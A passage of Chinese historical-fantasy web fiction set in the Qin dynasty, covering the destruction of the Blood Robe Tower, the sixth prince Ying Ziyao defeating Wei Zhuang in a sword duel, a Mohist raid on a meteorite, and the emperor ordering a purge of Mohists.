门客低声道,“据传总坛被一把火烧尽,楼中上下,无一活口。”
扶苏眉头微蹙,修长的手指无意识地摩挲着案几边缘:“可知是何人所为?”
门客摇头:“现场只留下一片焦土,无人知晓是谁下的手。”
这时,淳于越带着几名儒生匆匆赶来,白须因急促的步伐而微微颤动。
“长公子!血衣楼之事,您可听说了?”
扶苏轻叹一声:“刚得知。”
淳于越面色凝重:“此事蹊跷啊!”
“血衣楼盘踞江湖多年,势力根深蒂固,竟在一夜之间被人连根拔起……”
一名年轻儒生忍不住道:“莫非是陛下派黑冰台出手了?”
扶苏眸光微动,沉吟道:“父皇素来不插手江湖之事,除非……”
“除非血衣楼触犯了帝国铁律。”
淳于越接过话头,捋须思索,“可近日,并未听闻血衣楼有何大动作。”
另一名儒生忽然压低声音:“听说前几日,血衣楼曾派人刺杀萧何!”
书房内顿时一静。
扶苏神色复杂:“萧何持天子剑,代六弟推行迁族令,若血衣楼真对他下手,那便是公然对抗朝廷。”
淳于越眼中闪过一丝惊疑:“长公子的意思是,此事可能是陛下授意?”
扶苏缓缓摇头:“父皇若要处置血衣楼,大可明正典刑,何必如此隐秘?”
他望向窗外,温润的眸中浮现出一丝困惑:“况且…这等雷霆手段,虽似父皇风格,却又不像。”
淳于越忽然压低声音:“会不会是…其他势力插手了?”
“老师是说?”
“六国遗族中,不乏能人异士。”
淳于越谨慎道,“或许是有人想借机挑起事端?”
扶苏沉思片刻,轻轻叹息:“无论如何,此事非同小可。”
“传令下去,近日府中门客尽量减少外出,以免卷入不必要的纷争。”
淳于越欲言又止:“那萧何那边……”
“萧何持天子剑行事,自有朝廷庇护。”
扶苏语气温和却坚定:“我们不必多虑。”
待众人退下后,扶苏独自站在窗前,望着院中摇曳的竹影。
“一夜灭门……”
他轻声自语,“究竟是谁,有这般手段?”
夜风拂过,竹叶沙沙作响,仿佛在回应他的疑问。
扶苏摇了摇头,将心中那个荒谬的念头压下。
不,绝不可能是六弟。
六弟虽然也有狠辣果决的一面,但他手下,不可能有这样可怕的力量。
一定是…另有其人!
……
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章台宫。
青铜灯盏的火光忽明忽暗,将始皇帝的身影投在殿壁上,拉出一道如渊似岳的阴影。
黑冰**眼统领单膝跪地,额头抵在冰冷的金砖上,连呼吸都放得极轻。
“血衣楼,灭了?”
始皇帝的声音不疾不徐,却在空旷的大殿内激起阵阵回音。
独眼统领的脊背瞬间绷紧,铠甲缝隙间渗出细密的冷汗。
“回陛下,千真万确。”
“总坛化为焦土,楼中一百四十七人,尽数伏诛!!”
“咔嚓——”
鎏金扶手突然被捏出五道指痕。
独眼统领的头垂得更低,几乎要嵌入地砖。
“谁做的?”
“卑职…不知。”统领的嗓音干涩如砂,“现场只找到这个。”
他颤抖着捧上一块焦黑的铁牌,上面隐约可见“血”字残痕。
始皇帝接过铁牌,玄色帝袍上的金线龙纹在烛光下忽明忽暗。
冕旒垂下的玉珠微微晃动,遮住了他眼中闪过的精芒。
“萧何那边?”
“三百甲士未曾动用,萧大人安然无恙。”
殿内突然陷入死寂。
独眼统领能听见自己太阳穴突突跳动的声音。
“呵……”
一声轻笑突然炸响,惊得统领浑身一颤!
始皇帝缓缓起身,九旒玉珠碰撞出清脆的声响。
“好一个…干净利落。”
他踱步到龙台边缘,每一步都似踏在人心之上。
定秦剑鞘上的血龙纹路突然泛起微光,仿佛感应到了什么。
“朕记得,多日前你说要派三百黑冰台去护着萧何?”
“卑职…该死!”统领以头抢地,“是卑职多此一举!”
始皇帝摩挲着铁牌,突然将它捏成齑粉。
粉末从指缝间簌簌落下,在灯下泛着诡异的金属光泽。
“不,你做得对。”
他转身时,帝袍翻涌如乌云压境。
“去查!”
“查清楚这背后动手的组织,是什么背景!”
统领刚要应诺,却见始皇帝突然抬手。
殿角十二盏青铜灯无风自燃,火焰竟呈现诡异的幽蓝色!
“若查不到…”
帝王的声音突然轻柔得可怕,统领却瞬间汗**倒竖。
“你这只眼睛,也不必留了。”
“诺!”
统领重重叩首,退出殿外时才发现后襟已完全湿透。
殿门关闭的刹那,始皇帝凝视着掌心残留的铁屑,嘴角缓缓勾起一抹近乎狰狞的弧度。
“子夜……”
二字出口,梁上尘埃簌簌而落。
定秦剑突然自行出鞘三寸,血色铭文将半座大殿映得猩红!
“若真是你所为……”
玄鸟纹的广袖猛然挥过,三十六盏宫灯齐齐爆裂!
飞溅的铜片如雨般射向四周,却在触及龙台的瞬间化为齑粉。
黑暗中,帝王的双目竟泛起骇人的金芒。
“朕倒要看看…”
“你还能给朕…多少惊喜!”
第39章 我有一剑,可斩山河日月,可斩因果
韩地旧土。
逆流沙据点。
夜风掠过悬崖,卷起几片枯叶。
白凤的身影无声无息地落在巨石之上,白色羽衣随风轻扬。
“血衣楼,灭了。”
赤练斜倚在岩壁旁,指尖缠绕着一条赤红小蛇,闻言红唇微勾:“哦?谁的手笔?”
“不清楚。”
白凤淡淡道,“但手法干净利落,不留活口。”
“呵……”
赤练轻笑,眼中闪过一丝不屑,“血衣楼这种货色,我们同样可以轻松覆灭。”
她指尖轻点,小蛇吐着信子游走:“倒是最近听说了一件更有趣的事。”
“那位六公子府上,似乎有仙人显圣?”
一直闭目养神的卫庄,缓缓睁开了双眼。
刹那间,整个悬崖的温度仿佛骤降!
“仙人?”卫庄的声音低沉而冷冽,“有意思。”
他站起身来,鲨齿剑鞘与地面摩擦,发出刺耳的声响:“是真仙人,还是装神弄鬼……”
眼中寒芒乍现,战意如刀!
白凤继续道:“还有一事,东郡之地自天外坠火后,近日异动频繁,诸子百家皆有动作。”
“据说,那里藏着大秘密。”
卫庄冷笑:“让他们去争。”
他转身望向远处残月,背影如刀削般凌厉:“一群蝼蚁,争来争去,也不过是徒劳。”
白凤点头,又道:“另外,盖聂叛逃了。”
空气骤然一凝!
卫庄的瞳孔微微收缩,鲨齿剑鞘上的纹路泛起寒光。
“详细说。”
“他带着一个孩子,从咸阳逃出。”
白凤的声音平静,“在残月谷与秦军一战,而后消失无踪。”
“孩子?”
赤练挑眉,“盖聂这种人,也会带着拖油瓶逃命?”
卫庄沉默片刻,突然冷笑出声:“师兄……”
他的手指缓缓握紧鲨齿剑柄,骨节发白:“师门之约,你倒是忘得一干二净了。”
悬崖上的风忽然变得凌厉,吹得众人衣袍猎猎作响!
“白凤。”
卫庄的声音如冰,“全力搜寻盖聂的下落。”
“是。”
白凤的身影化作一道白影,转瞬消失在夜色中。
赤练把玩着发梢,眼中闪过一丝玩味:“卫庄大人,对您这位师兄,还真是念念不忘呢~”
卫庄没有回答,只是望着远处残月,目光深沉如渊。
夜风呜咽,仿佛在低语着一个无人知晓的秘密。
流沙,终将席卷一切!
……
翌日。
六公子府外院。
赢子夜懒洋洋地倚在软榻上晒太阳,半眯着眼睛,似睡非睡。
忽然,案几上一枚青玉符箓微微震动,泛起幽蓝色的光芒。
“嗯?”
他眼皮微抬,随手一点,符箓中立刻传来公孙墨玄沉稳的声音。
“公子,查到了。”
赢子夜嘴角微扬,慢悠悠开口:“说。”
“逆流沙的据点,就在韩地旧土,王都以北三十里的一处废弃山庄。”
公孙墨玄的声音透着几分凝重,“卫庄此人行事诡秘,山庄内外布满机关暗哨,寻常人根本靠近不得。”
赢子夜轻笑一声:“机关?暗哨?”
“有意思。”
公孙墨玄继续道:“此外,据暗河探子回报,白凤近日频繁出入山庄,似乎在搜寻盖聂的下落。”
“盖聂?”赢子夜眉梢微挑。
“正是。”
赢子夜伸了个懒腰,慢悠悠地站起身:“看来,这个卫庄,对他师兄倒是执念颇深啊……”
他望着远处云卷云舒,眼中闪过一丝玩味。
“公子,要派赵统领出手吗?”
公孙墨玄问道。
赢子夜摇了摇头,唇角勾起一抹慵懒的笑意:“不必。”
“本公子……亲自去会会他。”
话音落下,他指尖轻点,符箓光芒熄灭。
窗外,一阵清风拂过,吹动他额前的碎发。
“卫庄……”
他轻声呢喃,声音里带着几分期待。
“希望你别让本公子…太无聊。”
……
数日之后,韩地旧土。
残阳将废弃山庄的断壁染成暗红。
风卷过荒草,沙沙作响。
赢子夜一袭玄袍,腰间悬着青玉,步履从容地踏入山庄。
他的身影在夕阳下拉长,每一步都带着无形的压迫。
突然!
草丛微动,阴影中亮起幽绿眼瞳。
苍狼王伏于暗处,狼爪般的指套嵌入地面,喉咙滚动着低吼。
他的目光死死锁定赢子夜,如同盯上猎物的野兽。
“擅闯者……死!”
话音未落,苍狼王暴起!
他如鬼魅般掠出,狼爪撕裂空气,直取咽喉!
“锵!”
寒光乍现!
三道黑影从不同方位闪现,玄铁短刀交错成网,硬生生截断苍狼王的攻势。
暗河死士沉默如铁,面具下的眼睛冰冷无情。
赢子夜脚步未停,继续向前走去。
……
山庄深处,阴影更浓。
赢子夜穿过残破拱门,头顶传来细微振翅声。
“桀桀…大秦公子的血,想必格外鲜美。”
隐蝠倒悬梁上,猩红舌头舔过獠牙。
他身形一晃,如蝙蝠俯冲而下,指尖凝聚腥臭血雾,直袭后心!!
“唰!”
昭鞅的身影鬼魅般浮现,长剑出鞘如龙吟。
剑气纵横,将血雾一分为二。
隐蝠被迫急退,阴鸷的脸上浮现狰狞。
“滚开。”
昭鞅冷笑,剑尖直指隐蝠咽喉,“再进一步,死!”
赢子夜依旧未回头,只是淡淡道:
“别耽搁。”
昭鞅剑锋微转,三名暗河死士已呈三角之势将隐蝠围住。
……
山庄最深处,残破大厅内。
卫庄背对大门,鲨齿剑斜插于地,剑身映着最后一缕残阳。
“哒、哒、哒……”
脚步声清晰传来。
卫庄缓缓转身,金色的瞳孔如刀锋般锐利。
“六公子……胆子不小。”
赢子夜终于停下脚步,唇角微扬:“卫庄先生,久仰。”
卫庄冷笑:“孤身入我逆流沙之地,你是觉得自己不会死,还是…”
他目光扫向赢子夜身后阴影处,语气森然:“觉得带着一群老鼠,就能全身而退?”
赢子夜轻笑一声,袖袍微动。
“阁下说笑了,逆流沙的实力,天下江湖皆有目共睹。”
他负手而立,玄色衣袍在穿堂风中轻轻摆动,“今日前来,正是要与阁下谈一笔买卖。”
卫庄眼中闪过一丝讥诮:“哦?”
“什么买卖。”
“我欲让逆流沙为我所用!!”
赢子夜直视卫庄,开门见山,语气平静得仿佛在谈论今日天气。
空气骤然凝固。
卫庄的眼神瞬间冷到极致,周身杀气如实质般席卷开来!!
大厅内的温度仿佛骤降。
鲨齿剑发出刺耳的铮鸣,剑身上细密的纹路泛起血色寒光。
“口气倒是不小。”
他一字一顿道,每个字都像是从牙缝里挤出来的。
“那就看看你有没有这样的实力!”
最后一个字音未落,卫庄的身影已然消失在原地!
鲨齿剑划破空气的尖啸声骤然炸响,凌厉的剑气将地面石板尽数掀飞。
刹那间,整座大厅被刺目的
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剑光吞没!
卫庄化作一道血色长虹,狂暴的剑气将四周梁柱尽数撕裂。
然而,赢子夜的身影却如鬼魅般在剑影中穿梭。
玄色衣袍翻飞间,竟连衣角都未被触及。
“锵——!”
剑气相击,火花迸射!
卫庄瞳孔骤缩!
他全力斩出的一剑,竟被对方轻描淡写地格挡。
更令他心惊的是,赢子夜的剑招看似简单,却总能在最精准的时机点在他的破绽之处,逼得他不得不变招防守!
“你的横剑术,还差三分火候。”
赢子夜的声音忽然在耳畔响起,惊得卫庄汗**倒竖。
他猛地旋身,鲨齿剑横扫千军,却只斩到一缕残影。
“这一式‘苍龙出水’,气机运转该再沉三分。”
话音未落。
一道青色剑气突然从不可思议的角度刺来!
卫庄仓促格挡,虎口顿时崩裂出血。
他心中骇然!!
此人竟对鬼谷剑法了如指掌!
“轰!”
整面墙壁在剑气余波中轰然倒塌。
卫庄长发散乱,眼中燃起熊熊战意。
他不再保留,全身内力疯狂灌入鲨齿剑,剑身血纹亮如岩浆。
“横贯八方!”
这是鬼谷横剑术至高奥义!
一剑出,八面剑气如惊涛拍岸,封锁所有退路!!!
赢子夜终于停下脚步。
他轻轻抬起手,剑芒在空中划出半轮清冷的弧光。
“看好了。”
简简单单三个字,却让卫庄浑身血液瞬间凝固。
刹那间——
天地为之一寂!!
整座山庄仿佛被拖入另一个时空!
万物静止,连风声都凝固在耳畔。
赢子夜指尖剑气突然迸发出令日月失色的青芒!
气息震颤间,竟发出龙吟般的清越长鸣。
“铮——!”
剑气冲天,九霄云动!
一道横贯天地的青色长虹自剑尖喷薄而出!
剑气所过之处,空间扭曲出肉眼可见的波纹!
山庄的梁柱、砖瓦在这道剑意面前如同沙砌般分崩离析,却诡异地没有发出半点声响,仿佛连声音都被这惊天剑气斩断了!
卫庄的瞳孔剧烈收缩。
他毕生所见的剑道巅峰,在这一刻被彻底颠覆。
那八面来风的绝杀剑气,竟如春雪遇朝阳般无声消融。
他本能地横起鲨齿剑格挡,却见陪伴自己征战多年的神兵突然发出哀鸣!
“咔嚓!”
鲨齿剑被崩飞!
剑刃旋转着插入地面,剑身上的血纹寸寸熄灭。
卫庄只觉喉间一凉,一缕白发被齐根削断,缓缓飘落在自己剧烈起伏的胸膛前。
而赢子夜的身影,却在剑光尽头渐渐清晰。
他手指剑气的三寸处,凝着一滴将落未落的血珠。
那是斩断三千烦恼丝却未伤肌肤分毫的证明!
整座山庄陷入死寂!
残垣断壁间,一道三丈宽的剑痕笔直延伸至视野尽头。
沿途草木尽成齑粉,地面留下深达尺余的沟壑。
沟壑两侧的泥土竟呈现出琉璃般的结晶状——
这是剑气极致凝练的证明!
卫庄的指尖微微颤抖。
他忽然想起师父曾说过的传说:
剑道至境!
可斩因果轮回!
可斩山河日月!
眼前这一剑,分明已经触碰到了那个境界!
而对方,竟连他的性命都精准掌控在毫厘之间!
剑收,风起。
赢子夜收敛气息,那滴血珠无声没入土中。
剑气清鸣发出的轻响,终于打破了这片天地凝固的寂静。
无剑,
胜有剑。
第40章 原来你才是绝世高手!
卫庄的指节捏得发白,鲨齿剑柄深深插入地面,逐渐暗淡。
他死死盯着眼前这个始终带着浅笑的年轻公子,喉结艰难地滚动了一下。
“原来如此……”
他的声音沙哑得可怕。
“传闻中,六公子府中的那位隐世强者…”
“根本就是你自己。”
赢子夜没有回答,负手而立,衣袂在剑气余波中轻轻飘动,方才那惊世一剑仿佛从未发生过。
卫庄突然发出一声自嘲的冷笑。
他想起那些传闻。
这位被称作“废物公子”的赢子夜,整日游手好闲的皇室子弟。
何等荒谬!
何等讽刺!!
刹那间,四道身影如鬼魅般闪现!
赤练的链蛇软剑在空中划出猩红的弧光,如同一条蓄势待发的毒蛇,缠绕在她雪白的手腕上。
那双勾魂摄魄的眸子死死盯着赢子夜,红唇轻启。
“伤了他,我要你生不如死!”
白凤的身影飘落在残破的屋檐,修长的手指间夹着三根泛着寒光的羽刃。
他居高临下地俯视着场中,湛蓝的眼瞳中闪烁着危险的冷光,随时准备发动致命一击!
而苍狼王也从阴影中缓步走出。
狼爪指套在地面刮出刺耳的声响。
他佝偻着身躯,喉咙里发出野兽般的低吼,幽绿的眼瞳在黑暗中忽明忽暗。
隐蝠倒挂在断梁之上,宽大的蝠翼半张着,投下狰狞的阴影。
他舔了舔尖锐的獠牙,笑意阴森。
四人的杀气在空气中交织成网,将赢子夜团团围住。
而整个山庄的温度仿佛骤降,连月光都变得阴冷起来!
然而卫庄只是缓缓抬起染血的手掌。
“退下。”
他的声音恢复了往日的冰冷。
“这样的对手,不是人多就能解决的。”
这简简单单的一句话,却让四人的杀气瞬间收敛!
赤练不甘地咬了咬唇,但还是收回了链剑。
白凤的羽刃无声地消失在袖中。
苍狼王退后三步,隐蝠则悻悻地收起了蝠翼。
但他们依然保持着警戒的姿态,如同四头随时准备扑杀的猛兽,沉默地守护在卫庄周围。
就在这剑拔**张的瞬间。
山庄的阴影处,突然浮现出数十道漆黑的身影!
昭鞅缓步从黑暗中走出,手中长剑斜指地面。
剑锋上,还残留着方才与隐蝠交手时的血痕。
三十余名暗河死士如鬼魅般在赢子夜身后列阵。
他们全身笼罩在玄色劲装之中,脸上戴着毫无表情的青铜面具,手中的短刃在月光下泛着幽蓝的寒光。
最令人心悸的是,他们出现时竟没有发出半点声响,仿佛本就是夜色的一部分!
赤练的链剑不自觉地绷紧,白凤的指尖已经夹住了新的羽刃。
苍狼王伏低身形,隐蝠的蝠翼微微震颤!
他们都感受到了!
这些突然出现的黑衣人,每一个都散发着不似生人的危险气息!!
两方人马在残破的大厅中对峙!
杀气在空气中激烈碰撞!
断裂的梁柱上。
一只误入战场的夜蛾突然无声无息地一分为二,轻飘飘地落在地上。
竟是被刚才两人交战所残留的剑气所斩!
赢子夜依旧从容地站在原地,玄色衣袍在夜风中轻扬。
他既没有阻止暗河的出现,也没有命令他们退下,只是平静地注视着卫庄,等待着他的回应。
卫庄缓缓站直身体,拔出插在地面的鲨齿剑。
“你很强。”
他金色的瞳孔燃烧着不甘的火焰。
“但流沙从不做任何人的爪牙。”
“杀了我吧!”
赢子夜轻轻摇头。
“我说过,这是买卖。”
卫庄讥讽地勾起嘴角:“你以为用武力就能让流沙臣服?”
“那你未免太不了解鬼谷传人了。”
“我要的不是臣服。”
赢子夜突然向前迈了一步。
这一步让所有流沙成员瞬间绷紧神经!
“我要的…是合作。”
“一个能让你们光明正大行走在阳光下的机会,一个…能让鬼谷绝学真正发扬光大的武台!”
卫庄的瞳孔微微收缩。
他注意到赢子夜说的是“鬼谷绝学”。
而不是“流沙”!
这个人,竟然连他最深处的执念都看得一清二楚。
紧接着。
赢子夜袍袖一挥,数道流光骤然落在残破的地面上。
一柄通体幽蓝的长剑插在青石板上,剑身缠绕着肉眼可见的寒气。
三枚龙眼大小的丹药静静悬浮,表面流转着金色纹路。
还有一卷泛着青光的玉简缓缓展开,露出“太乙奇卷”四个古篆大字!!
卫庄的瞳孔骤然收缩。
那柄剑散发的气息,竟比鲨齿还要凌厉三分。
那些丹药的香气,让他多年未曾寸进的内力隐隐躁动。
而那卷玉简上记载的,赫然是某种从未听说过的至高心法!
“这些……”
赤练的红唇微微颤抖,链剑不自觉地垂落下来。
白凤的羽刃不知何时已经收起,他死死盯着那柄幽蓝长剑,眼中闪过罕见的渴望。
然而,赢子夜却带着自己的死士们渐行渐远。
夜风中,传来他最后的话语:
“卫庄阁下,难道你不想与你师兄一战么?”
声音顿了顿。
“上次交手,他的纵剑……似乎更胜一筹啊。”
这句话如同一柄淬毒的**,精准刺入卫庄最痛处!
他的指节捏得发白,断剑的碎片在掌心割出深深的血痕!
十年前那场比剑的画面在脑海中闪现。
盖聂的纵剑划破他衣袖的瞬间,师父眼中闪过的失望……
“大人……”
隐蝠贪婪地盯着那些丹药,却又畏惧地不敢上前。
卫庄突然抬手,一道气劲将最近的丹药卷入掌心!
丹药入手的刹那,他浑身一震!!
沉寂多年的经脉竟如久旱逢甘霖般疯狂吞噬着药力,连方才被剑气震伤的暗伤都在飞速愈合!
月光下。
这位永远挺直脊背的剑客第一次显露出动摇!
他望向赢子夜消失的方向,眼中的震惊逐渐化为复杂的挣扎。
白凤轻轻拾起那柄幽蓝长剑,剑身映出他闪烁的眼神:
“这兵器……根本不是人间该有之物。”
卫庄沉默着将玉简收入怀中,指尖微不可察地颤抖着。
他望向咸阳方向,第一次对自己坚守的信条产生了动摇!
或许,真如那人所说,有些规则……是该改写了。
……
数日之后!
东郡境内,残阳如血。
浓烟从山谷深处滚滚升起,将半边天空染成污浊的灰黑色。
蒙恬勒住战马,鎏金面甲下的双眼微微眯起。
远处山林间,隐约可见数十道身影正在四处纵火,火势借着干燥的秋风迅速蔓延!
“将军!东侧粮仓起火!”
“北面马厩遭袭!”
传令兵的声音此起彼伏。
蒙恬握紧缰绳,战靴重重一磕马腹:
“传令!一屯救火,二屯损坏陨石!”
他忽然压低声音。
“记住陛下密令——”
“若事不
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可为,即便陨石无法毁去,也要立即毁去陨石铭文!!”
“绝不能让他人看见!”
黄金火骑兵迅速分作两股。
铁甲碰撞声中,蒙恬亲自率队冲向山谷中央!
那里,一块通体漆黑的巨大陨石静静矗立,表面布满诡异纹路。
“轰!”
突如其来的**震得地面颤抖!
蒙恬猛然抬头,只见十余道身影从岩壁跃下!
墨色斗篷,机关臂……
正是墨家弟子!!
“墨家鼠辈!”
蒙恬怒喝一声,长剑已然出鞘!
他看得真切,为首那个扛着巨锤的壮汉,正是墨家统领大铁锤。
“蒙恬!”
大铁锤怒吼着砸落铁锤,地面顿时龟裂。
“今日就要你们全军覆没!!”
两股洪流狠狠相撞。
黄金火骑兵的阵型如同铜墙铁壁,长戟如林刺出!
但墨家弟子身形灵巧,借助机关术在军阵中穿梭。
一时间金铁交鸣,喊杀震天!
混乱中,谁也没注意到一道鬼魅般的身影正贴着岩壁潜行。
盗跖的瞬飞轮在指尖旋转,眼中闪烁着狡黠的光:
“嘿嘿,让这群莽夫吸引注意……”
他的身影忽隐忽现,每次闪现都精准避开巡逻的秦兵。
终于摸到陨石背面时,盗跖突然僵住了!
漆黑的石面上,赫然刻着几个血色大字——
【亡秦者,胡也,始皇帝死而天下分!】
“这……!”
盗跖的瞳孔剧烈收缩。
他猛地回头,正对上蒙恬骤然转来的视线。
“贼子敢尔!”
蒙恬的怒吼炸响!!
“放箭!”
“嗖嗖嗖——”
箭雨铺天盖地袭来。
盗跖的瞬飞轮舞成光幕,叮叮当当击落箭矢。
但右肩仍被一支流矢贯穿,鲜血顿时浸透衣袍。
“啧!”
他咬牙扯下肩上箭矢,身形骤然模糊。
蒙恬只见一道残影掠过军阵,转瞬已到十丈开外。
“追!”
蒙恬剑指前方。
“绝不能让箴言流传出去!”
黄金火骑兵的铁蹄震得大地颤抖。
盗跖在林中疾驰,鲜血在身后滴成断续的红线。
他摸了摸怀中拓印的绢布,嘴角却扬起得意的弧度:
“这下…可有好戏看了……”
……
远处山巅,一道黑影如雕塑般静立。
青铜面具在暮色中泛着幽光,掩日的黑袍纹丝不动,仿佛与山岩融为一体。
他单手按在“掩日”剑柄上,暗红纹路的剑鞘如同凝固的血痕。
“螳螂捕蝉……”
沙哑的声音从面具下渗出,像是生锈的刀剑摩擦。
山下追逃的喧嚣传来,他眼中闪过一丝猫戏老鼠般的玩味。
山风掠过黑袍,竟诡异地绕道而行,仿佛连风都不敢触碰这位死亡使者。
他缓缓抬起铁甲包裹的左手。
一片枯叶飘落掌心,瞬间化为齑粉!
“三里……”
他估算着距离,目光锁定远处那道狭窄山谷。
那里岩壁如刀削,正是最适合收网的屠宰场。
掩日向来喜欢看着猎物自己走进死路,就像他享受目标在绝望中慢慢断气的瞬间。
剑鞘中的名剑微微震颤,似乎已经迫不及待要饮血。
但他依然静立如山。
赵高大人的命令很明确:
见机行事!
要在最恰当的时机出手。
暮色渐浓,将他的身影拉长成一道扭曲的阴影。
这阴影正无声地向着山谷蔓延,如同死神缓缓举起的镰刀。
第41章 以刑去刑!
与此同时。
官道之上。
赢子夜一勒缰绳,玄色披风在疾驰中猎猎作响。
身后三十余骑暗河精锐如影随形,马蹄声如闷雷滚过官道。
“公子!”
昭鞅催马上前,虽仍是一副不羁的神态,但抱拳的姿势已带了几分郑重。
“前方驿站传来消息,陨石被墨家所夺,蒙恬将军正率黄金火骑兵追击。”
赢子夜目光微凝,指节在马鞍上轻叩两下。
“你亲自去,带二十名暗河‘影刃’暗中接应。”
声音虽淡,却透着不容置疑的威严。
“记住,绝不可在任何人面前暴露身份,若遇罗网……”
“属下明白。”
昭鞅收敛神态,眼中寒芒乍现。
“活人见不得,**开不了口。”
他忽然压低声音。
“公子可是察觉咸阳有变?”
赢子夜望向远处翻滚的乌云,咸阳城轮廓在暮色中若隐若现。
他指尖无意识摩挲着腰间青玉,沉声道:“东郡事发突然,咸阳必有变化。”
“你办完事…速回!”
“诺!”
昭鞅郑重点头,转身时衣袂翻飞如鹰隼展翼。
他抬手吹了声尖锐的口哨,当即有二十骑立刻分出队列,动作整齐划一如同刀裁。
待暗河众人消失在岔路,赢子夜忽然对身侧死士道:
“再快些。”
马鞭破空声里,十余骑如离弦之箭射向咸阳!
狂风卷起赢子夜的袍角,腰间若隐若现的青玉在暮色中泛着血色的微芒。
而昭鞅此刻,已率众转入山道。
他俯身贴在马背上,突然对紧随其后的死士们咧嘴一笑:“弟兄们,待会都给我扮得像些。”
说着从怀中掏出个酒囊灌了一口。
“记住,咱们现在是‘楚地游侠’,专劫官道的。”
随手抹去的酒渍里,眼底杀意已凝如实质。
……
咸阳。
章台宫。
殿内烛火摇曳,青铜灯盏中的火焰忽明忽暗,映照在玄色帷幔上,仿佛无数扭曲的影子在无声嘶吼。
“砰——!”
鎏金案几被一掌拍碎,竹简崩飞,墨汁溅落在黑曜石地面上,如泼洒的血!
“墨家!”
始皇帝的声音并不高,却让整座大殿的空气骤然凝固。
墨家先前派人对子夜下手,如今又公然抢夺陨石!
这…已不是简单的谋逆!
而是对整个大秦的挑衅!!!
侍立的郎官们瞬间跪伏在地,额头紧贴冰冷的地砖,连呼吸都停滞。
他们能感受到帝王身上散发出的恐怖威压,就像暴风雨前的死寂,令人窒息。
始皇帝的瞳孔微微收缩,眼底似有岩浆翻涌。
他想起当年横扫六国后,墨家机关城就像一根刺,始终扎在大秦的版图上。
如今这根刺,竟敢一而再再而三地挑衅帝威!
“很好。”
他在心中冷笑,杀意如潮水般翻腾。
案几上的竹简无风自动,仿佛也感受到了帝王滔天的怒火。
缓缓抬头,目光穿透殿门,仿佛看到了千里之外墨家弟子仓皇逃窜的身影。
“既然你们执意找死……”
他在心中森然道。
“朕今日,就让墨家绝迹江湖!”
帝王缓缓起身,玄色帝袍上的金线玄鸟纹在烛光下如活物般游动。
他拾起一卷空白竹简,轻轻一划!
一滴朱红墨汁从折断的毛笔上滴落,在竹简上晕开,如同泼洒的鲜血。
“嗤!”
墨汁顺着竹简纹路蜿蜒流淌,最终凝成一个狰狞的“诛”字!
“传诏。”
二字出口,殿外惊雷炸响!
暴雨骤然倾盆而下,雨点砸在殿瓦上如同战鼓轰鸣。
“即日起,我大秦境内,凡墨家弟子——”
始皇帝的声音比剑锋更冷。
“见之即杀!!!”
黑冰台统领以头抢地,铠甲碰撞声在死寂的大殿中格外刺耳!
“卑职即刻调集所有暗探,掘地三尺也要找出机关城!!”
始皇帝的目光转向殿外雨幕,仿佛穿透千里,直抵东郡战场:
“还有…告诉蒙恬。”
每个字都像淬了毒的箭。
“要么销毁陨石……”
九旒冕下的双眸陡然迸发出骇人的金芒:
“要么,就把自己的脑袋,装在黄金火骑兵的箭囊里送回来!”
“轰隆——!”
又是一道雷霆劈落,电光将帝王的身影投在殿壁上。
那影子竟比真身高大数倍,宛如一尊降临人间的…杀神!
……
翌日。
晨光未现,铅灰色的云层沉沉压着城墙。
整座咸阳如一头蛰伏的巨兽,在破晓前的寒意中屏住了呼吸。
“踏!踏!踏!”
黑甲锐士的铁靴踏过青石长街,每一步都像战鼓般沉闷。
他们手持长戟,腰悬铜符,玄色披风上凝结着霜花。
坊市间的百姓早被惊醒,却无人敢点灯窥探,只从窗棂缝隙中看见——
朱雀大街上,三丈高的旗杆顶端,悬着七颗血淋淋的首级!!
那是昨夜擒获的墨家暗探,冻僵的面容上还凝固着死前的惊恐。
“奉诏!全城**!”
传令官嘶哑的嗓音划破死寂。
十二座城门同时落下千斤闸,公输家打造的机关**在城垛上张开獠牙。
每一架都对准城内街巷。
连平日最热闹的酒肆街,此刻也只剩寒风卷着落叶在石板路上打转。
章台宫方向。
突然传来钟鸣,九声悠长的钟响震得屋檐积雪簌簌落下。
一队影密卫纵马掠过街道,铁面下呼出的白气如刀锋般锐利!
他们马鞍旁悬着的不是水囊,而是浸透血水的麻布口袋。
城西角楼忽然响起梆子声。
“嗖——”
一支鸣镝箭直窜云霄,尾羽上的红绸在灰白天色中刺目如血。
所有黑甲士同时转身,面甲碰撞声如冰河开裂。
他们知道,这是发现可疑踪迹的信号。
整座咸阳城仿佛被塞进了铁匣子,连晨雾都凝滞不动。
唯有渭河的水声仍在流淌,那声音闷闷的,像是地底传来的呜咽!
咸阳宫。
麒麟殿。
晨光初透,宫门次第而开。
黑甲郎官持戟肃立,玄色朝服的百官分列两侧。
无人敢高声语,无人敢乱其位。
殿中铜鹤香炉青烟袅袅,却驱不散那股压抑至极的肃杀之气!
昨夜黑冰台血洗都城墨家据点的消息早已传遍朝野。
此刻,众臣低眉垂首,连呼吸都刻意放轻,生怕触怒那位即将临朝的帝王。
御史大夫冯劫的指尖微微发颤,额角渗出一层细汗。
廷尉紧攥竹简,指节泛白。
就连素来沉稳的李斯,此刻也目光低垂,不敢妄动。
而赢子夜则立于群臣之中,眼敛低垂,一言不发。
殿外忽起钟鸣。<
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br>“陛下临朝——!”
尖锐的宣喝刺破死寂。
始皇帝踏步入殿,玄色帝袍垂落如夜,金线玄鸟纹在晨光下泛着冷芒。
他未戴冕旔,黑玉冠束发,面容冷峻如铁。
每一步落下,靴底与金砖相触的闷响,都似重锤砸在众臣心头。
“臣等恭迎陛下!”
百官齐跪,呼声震殿,却掩不住那股隐隐的颤意。
始皇帝未言,径直登阶,落座龙台。
他的目光缓缓扫过殿下群臣,如刀刮骨。
所过之处,无人敢抬头对视。
沉寂。
死一般的沉寂。
直到——
“儿臣有本奏。”
一道清朗的声音打破凝滞!
扶苏出列,素白朝服如雪落玄池,与满殿肃杀格格不入。
他手持玉笏,深深一揖,眉宇间仍带着那股不变的温润。
殿内气氛骤然一紧。
李斯眼皮微跳,冯劫呼吸一滞。
就连站在末位的年轻郎官们都忍不住绷直了脊背!
长公子此时进谏,无异于烈火烹油!
始皇帝的目光终于落在扶苏身上,眼底深沉如渊,喜怒难辨。
“讲。”
仅一字,却似冰刃悬顶。
“父皇明鉴。”
扶苏的声音温润如玉,却带着不容忽视的坚定:
“黑冰台昨夜于城中搜捕,已有百余无辜者下狱。儿臣恐……”
“恐什么?”
始皇帝突然打断,声音不重,却让殿角青铜灯台的火焰都为之一颤。
扶苏深吸一口气:
“恐伤及黎庶,有损大秦仁德之名!!”
“仁德?”
